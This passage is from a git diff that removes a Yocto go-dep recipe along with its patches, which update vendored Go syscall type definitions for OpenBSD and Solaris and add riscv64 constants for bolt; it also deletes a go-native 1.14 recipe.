-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Nanonneeded int32
-+ Nfreeanon int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Obsolete_swapins int32
-+ Obsolete_swapouts int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Zeroaborts int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Pdreanon int32
-+ Pdrevnode int32
-+ Pdrevtext int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go
-index 62e1f7c0..d80836ef 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs -- -fsigned-char types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x4
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x4
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -23,11 +23,13 @@ type (
- type Timespec struct {
- Sec int64
- Nsec int32
-+ _ [4]byte
- }
-
- type Timeval struct {
- Sec int64
- Usec int32
-+ _ [4]byte
- }
-
- type Rusage struct {
-@@ -56,46 +58,31 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Mode uint32
-- Dev int32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- X__st_birthtim Timespec
-+ Mode uint32
-+ Dev int32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ _ [4]byte
-+ _ Timespec
- }
-
- type Statfs_t struct {
- F_flags uint32
- F_bsize uint32
- F_iosize uint32
-+ _ [4]byte
- F_blocks uint64
- F_bfree uint64
- F_bavail int64
-@@ -110,11 +97,11 @@ type Statfs_t struct {
- F_namemax uint32
- F_owner uint32
- F_ctime uint64
-- F_fstypename [16]uint8
-- F_mntonname [90]uint8
-- F_mntfromname [90]uint8
-- F_mntfromspec [90]uint8
-- Pad_cgo_0 [2]byte
-+ F_fstypename [16]int8
-+ F_mntonname [90]int8
-+ F_mntfromname [90]int8
-+ F_mntfromspec [90]int8
-+ _ [2]byte
- Mount_info [160]byte
- }
-
-@@ -127,19 +114,23 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-- Fileno uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Namlen uint8
-- X__d_padding [4]uint8
-- Name [256]uint8
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Namlen uint8
-+ _ [4]uint8
-+ Name [256]int8
- }
-
- type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -264,8 +255,10 @@ type Kevent_t struct {
- Filter int16
- Flags uint16
- Fflags uint32
-+ _ [4]byte
- Data int64
- Udata *byte
-+ _ [4]byte
- }
-
- type FdSet struct {
-@@ -273,8 +266,8 @@ type FdSet struct {
- }
-
- const (
-- SizeofIfMsghdr = 0x98
-- SizeofIfData = 0x80
-+ SizeofIfMsghdr = 0xa8
-+ SizeofIfData = 0x90
- SizeofIfaMsghdr = 0x18
- SizeofIfAnnounceMsghdr = 0x1a
- SizeofRtMsghdr = 0x60
-@@ -303,7 +296,7 @@ type IfData struct {
- Link_state uint8
- Mtu uint32
- Metric uint32
-- Pad uint32
-+ Rdomain uint32
- Baudrate uint64
- Ipackets uint64
- Ierrors uint64
-@@ -315,8 +308,10 @@ type IfData struct {
- Imcasts uint64
- Omcasts uint64
- Iqdrops uint64
-+ Oqdrops uint64
- Noproto uint64
- Capabilities uint32
-+ _ [4]byte
- Lastchange Timeval
- }
-
-@@ -341,7 +336,7 @@ type IfAnnounceMsghdr struct {
- Hdrlen uint16
- Index uint16
- What uint16
-- Name [16]uint8
-+ Name [16]int8
- }
-
- type RtMsghdr struct {
-@@ -411,11 +406,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfTimeval struct {
-@@ -433,7 +428,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Unused01 int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Unused05 int32
-+ Unused06 int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Unused07 int32
-+ Unused08 int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Unused09 int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Unused11 int32
-+ Unused12 int32
-+ Unused13 int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm64.go
-similarity index 58%
-copy from vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/ztypes_openbsd_arm64.go
-index 46fe9490..4e158746 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_openbsd_arm64.go
-@@ -1,16 +1,16 @@
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_openbsd.go
-+// cgo -godefs -- -fsigned-char types_openbsd.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,openbsd
-+// +build arm64,openbsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -56,48 +56,29 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Mode uint32
-- Dev int32
-- Ino uint64
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev int32
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Size int64
-- Blocks int64
-- Blksize uint32
-- Flags uint32
-- Gen uint32
-- Pad_cgo_0 [4]byte
-- X__st_birthtim Timespec
-+ Mode uint32
-+ Dev int32
-+ Ino uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev int32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ _ Timespec
- }
-
- type Statfs_t struct {
- F_flags uint32
- F_bsize uint32
- F_iosize uint32
-- Pad_cgo_0 [4]byte
- F_blocks uint64
- F_bfree uint64
- F_bavail int64
-@@ -116,7 +97,7 @@ type Statfs_t struct {
- F_mntonname [90]int8
- F_mntfromname [90]int8
- F_mntfromspec [90]int8
-- Pad_cgo_1 [2]byte
-+ _ [2]byte
- Mount_info [160]byte
- }
-
-@@ -129,19 +110,23 @@ type Flock_t struct {
- }
-
- type Dirent struct {
-- Fileno uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Namlen uint8
-- X__d_padding [4]uint8
-- Name [256]int8
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Namlen uint8
-+ _ [4]uint8
-+ Name [256]int8
- }
-
- type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- type RawSockaddrInet4 struct {
- Len uint8
- Family uint8
-@@ -212,10 +197,8 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint32
-- Pad_cgo_1 [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -277,8 +260,8 @@ type FdSet struct {
- }
-
- const (
-- SizeofIfMsghdr = 0xf8
-- SizeofIfData = 0xe0
-+ SizeofIfMsghdr = 0xa8
-+ SizeofIfData = 0x90
- SizeofIfaMsghdr = 0x18
- SizeofIfAnnounceMsghdr = 0x1a
- SizeofRtMsghdr = 0x60
-@@ -307,7 +290,7 @@ type IfData struct {
- Link_state uint8
- Mtu uint32
- Metric uint32
-- Pad uint32
-+ Rdomain uint32
- Baudrate uint64
- Ipackets uint64
- Ierrors uint64
-@@ -319,12 +302,10 @@ type IfData struct {
- Imcasts uint64
- Omcasts uint64
- Iqdrops uint64
-+ Oqdrops uint64
- Noproto uint64
- Capabilities uint32
-- Pad_cgo_0 [4]byte
- Lastchange Timeval
-- Mclpool [7]Mclpool
-- Pad_cgo_1 [4]byte
- }
-
- type IfaMsghdr struct {
-@@ -385,13 +366,7 @@ type RtMetrics struct {
- Pad uint32
- }
-
--type Mclpool struct {
-- Grown int32
-- Alive uint16
-- Hwm uint16
-- Cwm uint16
-- Lwm uint16
--}
-+type Mclpool struct{}
-
- const (
- SizeofBpfVersion = 0x4
-@@ -412,9 +387,8 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -425,11 +399,11 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
- type BpfTimeval struct {
-@@ -447,7 +421,145 @@ type Termios struct {
- Ospeed int32
- }
-
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
- const (
- AT_FDCWD = -0x64
-+ AT_SYMLINK_FOLLOW = 0x4
- AT_SYMLINK_NOFOLLOW = 0x2
- )
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
-+type Sigset_t uint32
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofUvmexp = 0x158
-+
-+type Uvmexp struct {
-+ Pagesize int32
-+ Pagemask int32
-+ Pageshift int32
-+ Npages int32
-+ Free int32
-+ Active int32
-+ Inactive int32
-+ Paging int32
-+ Wired int32
-+ Zeropages int32
-+ Reserve_pagedaemon int32
-+ Reserve_kernel int32
-+ Unused01 int32
-+ Vnodepages int32
-+ Vtextpages int32
-+ Freemin int32
-+ Freetarg int32
-+ Inactarg int32
-+ Wiredmax int32
-+ Anonmin int32
-+ Vtextmin int32
-+ Vnodemin int32
-+ Anonminpct int32
-+ Vtextminpct int32
-+ Vnodeminpct int32
-+ Nswapdev int32
-+ Swpages int32
-+ Swpginuse int32
-+ Swpgonly int32
-+ Nswget int32
-+ Nanon int32
-+ Unused05 int32
-+ Unused06 int32
-+ Faults int32
-+ Traps int32
-+ Intrs int32
-+ Swtch int32
-+ Softs int32
-+ Syscalls int32
-+ Pageins int32
-+ Unused07 int32
-+ Unused08 int32
-+ Pgswapin int32
-+ Pgswapout int32
-+ Forks int32
-+ Forks_ppwait int32
-+ Forks_sharevm int32
-+ Pga_zerohit int32
-+ Pga_zeromiss int32
-+ Unused09 int32
-+ Fltnoram int32
-+ Fltnoanon int32
-+ Fltnoamap int32
-+ Fltpgwait int32
-+ Fltpgrele int32
-+ Fltrelck int32
-+ Fltrelckok int32
-+ Fltanget int32
-+ Fltanretry int32
-+ Fltamcopy int32
-+ Fltnamap int32
-+ Fltnomap int32
-+ Fltlget int32
-+ Fltget int32
-+ Flt_anon int32
-+ Flt_acow int32
-+ Flt_obj int32
-+ Flt_prcopy int32
-+ Flt_przero int32
-+ Pdwoke int32
-+ Pdrevs int32
-+ Pdswout int32
-+ Pdfreed int32
-+ Pdscans int32
-+ Pdanscan int32
-+ Pdobscan int32
-+ Pdreact int32
-+ Pdbusy int32
-+ Pdpageouts int32
-+ Pdpending int32
-+ Pddeact int32
-+ Unused11 int32
-+ Unused12 int32
-+ Unused13 int32
-+ Fpswtch int32
-+ Kmapent int32
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Tickadj int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go
-index 92336f9f..23ed9fe5 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_solaris_amd64.go
-@@ -6,11 +6,11 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- PathMax = 0x400
- MaxHostNameLen = 0x100
- )
-@@ -75,58 +75,41 @@ type Rlimit struct {
-
- type _Gid_t uint32
-
--const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
--)
--
- type Stat_t struct {
-- Dev uint64
-- Ino uint64
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- Size int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Blksize int32
-- Pad_cgo_0 [4]byte
-- Blocks int64
-- Fstype [16]int8
-+ Dev uint64
-+ Ino uint64
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ Size int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Blksize int32
-+ _ [4]byte
-+ Blocks int64
-+ Fstype [16]int8
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Sysid int32
-- Pid int32
-- Pad [4]int64
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Sysid int32
-+ Pid int32
-+ Pad [4]int64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Name [1]int8
-- Pad_cgo_0 [5]byte
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Name [1]int8
-+ _ [5]byte
- }
-
- type _Fsblkcnt_t uint64
-@@ -213,13 +196,13 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
-+ _ [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- Accrights *int8
- Accrightslen int32
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -228,6 +211,12 @@ type Cmsghdr struct {
- Type int32
- }
-
-+type Inet4Pktinfo struct {
-+ Ifindex uint32
-+ Spec_dst [4]byte /* in_addr */
-+ Addr [4]byte /* in_addr */
-+}
-+
- type Inet6Pktinfo struct {
- Addr [16]byte /* in6_addr */
- Ifindex uint32
-@@ -253,6 +242,7 @@ const (
- SizeofIPv6Mreq = 0x14
- SizeofMsghdr = 0x30
- SizeofCmsghdr = 0xc
-+ SizeofInet4Pktinfo = 0xc
- SizeofInet6Pktinfo = 0x14
- SizeofIPv6MTUInfo = 0x24
- SizeofICMPv6Filter = 0x20
-@@ -263,19 +253,19 @@ type FdSet struct {
- }
-
- type Utsname struct {
-- Sysname [257]int8
-- Nodename [257]int8
-- Release [257]int8
-- Version [257]int8
-- Machine [257]int8
-+ Sysname [257]byte
-+ Nodename [257]byte
-+ Release [257]byte
-+ Version [257]byte
-+ Machine [257]byte
- }
-
- type Ustat_t struct {
-- Tfree int64
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_0 [4]byte
-+ Tfree int64
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- const (
-@@ -295,21 +285,21 @@ const (
- )
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Data IfData
- }
-
- type IfData struct {
- Type uint8
- Addrlen uint8
- Hdrlen uint8
-- Pad_cgo_0 [1]byte
-+ _ [1]byte
- Mtu uint32
- Metric uint32
- Baudrate uint32
-@@ -328,30 +318,30 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ [2]byte
-+ Metric int32
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Use int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Use int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -388,9 +378,9 @@ type BpfStat struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ _ [4]byte
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -406,32 +396,30 @@ type BpfTimeval struct {
- }
-
- type BpfHdr struct {
-- Tstamp BpfTimeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [2]byte
-+ Tstamp BpfTimeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [2]byte
- }
-
--const _SC_PAGESIZE = 0xb
--
- type Termios struct {
-- Iflag uint32
-- Oflag uint32
-- Cflag uint32
-- Lflag uint32
-- Cc [19]uint8
-- Pad_cgo_0 [1]byte
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Cc [19]uint8
-+ _ [1]byte
- }
-
- type Termio struct {
-- Iflag uint16
-- Oflag uint16
-- Cflag uint16
-- Lflag uint16
-- Line int8
-- Cc [8]uint8
-- Pad_cgo_0 [1]byte
-+ Iflag uint16
-+ Oflag uint16
-+ Cflag uint16
-+ Lflag uint16
-+ Line int8
-+ Cc [8]uint8
-+ _ [1]byte
- }
-
- type Winsize struct {
-@@ -440,3 +428,22 @@ type Winsize struct {
- Xpixel uint16
- Ypixel uint16
- }
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
---
-2.26.2
-
diff --git a/meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch b/meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch
deleted file mode 100644
index 4d97d48243..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5e051669d117d7cd9b24cea3494959eec396ec1e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 25 Jan 2020 22:37:25 -0800
-Subject: [PATCH] /bolt_riscv64: Add support for riscv64
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- vendor/github.com/boltdb/bolt/bolt_riscv64.go | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_riscv64.go
-
-diff --git a/vendor/github.com/boltdb/bolt/bolt_riscv64.go b/vendor/github.com/boltdb/bolt/bolt_riscv64.go
-new file mode 100644
-index 00000000..3d6b88d4
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_riscv64.go
-@@ -0,0 +1,12 @@
-+// +build riscv64
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0xFFFFFFFFFFFF // 256TB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0x7FFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
---
-2.25.0
-
diff --git a/meta/recipes-devtools/go/go-dep_0.5.4.bb b/meta/recipes-devtools/go/go-dep_0.5.4.bb
deleted file mode 100644
index 0da2c6607c..0000000000
--- a/meta/recipes-devtools/go/go-dep_0.5.4.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Dependency management tool for Golang"
-HOMEPAGE = "https://github.com/golang/dep"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=1bad315647751fab0007812f70d42c0d"
-
-GO_IMPORT = "github.com/golang/dep"
-SRC_URI = "git://${GO_IMPORT} \
- file://0001-Add-support-for-mips-mips64.patch;patchdir=src/github.com/golang/dep \
- file://0001-bolt_riscv64-Add-support-for-riscv64.patch;patchdir=src/github.com/golang/dep \
- "
-SRC_URI_append_riscv64 = " file://0001-Update-sys-module-to-latest.patch;patchdir=src/github.com/golang/dep "
-
-SRCREV = "1f7c19e5f52f49ffb9f956f64c010be14683468b"
-
-inherit go
-
-# New Go versions has Go modules support enabled by default and cause the Glide
-# tool build to fail.
-export GO111MODULE = "off"
-
-GO_INSTALL = "${GO_IMPORT}/cmd/dep"
-
-RDEPENDS_${PN}-dev += "bash"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# For compiling ptest on mips and mips64, the current go-dep version fails with the go 1.11 toolchain.
-# error message: vet config not found
-PTEST_ENABLED_mips = "0"
-PTEST_ENABLED_mips64 = "0"
diff --git a/meta/recipes-devtools/go/go-native_1.14.bb b/meta/recipes-devtools/go/go-native_1.14.bb
deleted file mode 100644
index c5cb97e73e..0000000000
--- a/meta/recipes-devtools/go/go-native_1.14.bb
+++ /dev/null
@@ -1,60 +0,0 @@
-# This recipe builds a native Go (written in Go) by first building an old Go 1.4
-# (written in C). However this old Go does not support all hosts platforms.
-
-require go-${PV}.inc
-
-inherit native
-
-SRC_URI_append = " https://dl.google.com/go/go1.4-bootstrap-20171003.tar.gz;name=bootstrap;subdir=go1.4"
